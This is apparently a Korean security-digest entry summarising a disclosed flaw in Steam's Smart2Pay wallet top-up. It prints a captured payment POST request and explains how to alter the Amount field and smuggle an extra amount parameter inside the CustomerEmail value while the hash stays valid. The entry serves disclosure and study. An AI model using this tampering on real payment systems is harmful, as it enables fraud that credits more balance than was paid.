[하루한줄] Smart2Pay in-flight 데이터 수정으로 Steam 잔액 충전

URL

Modify in-flight data to payment provider Smart2Pay

Target

Smart2Pay

Steam

Valve

Explain

게임 유통 플랫폼 Steam의 Smart2Pay를 이용한 결제 방식에서 취약점이 발견되었습니다. Smart2Pay를 통해 Steam 잔액 충전 시 https://globalapi.smart2pay.com/로 보내지는 POST 리퀘스트를 조작해 실제 지불 금액보다 더 많은 잔액을 충전할 수 있습니다.

POST / HTTP/1.1
Host: globalapi.smart2pay.com
Content-Length: 388
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://store.steampowered.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.steampowered.com/
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

MerchantID=1102&MerchantTransactionID=███&Amount=2000&Currency=PLN&ReturnURL=https%3A%2F%2Fstore.steampowered.com%2Fpaypal%2Fsmart2pay%2F████%2F&MethodID=12&Country=PL&CustomerEmail=brixamount100abc%40███████&CustomerName=_drbrix_&SkipHPP=1&Description=Steam+Purchase&SkinID=101&Hash=███

POST 리퀘스트의 Hash값은 ‘=’를 제외한 모든 필드의 이름과 값을 하나의 문자열로 합쳐서 생성합니다. 이를 악용해 amountCustomerEmail 필드를 다음과 같이 조작하면 Hash값은 그대로 둔 채로 파라미터를 조작할 수 있습니다.

  • amount=2000amount2=000으로 조작
  • CustomerEmail필드와 그 값을 CustomerEmail=aaa&amount=100&ab=c%40bbb으로 조작

충전될 잔액을 뜻하는 amount필드를 원하는 값으로 조작할 수 있기 때문에 실제 지불 금액과 충전되는 잔액의 차이를 발생시킬 수 있습니다.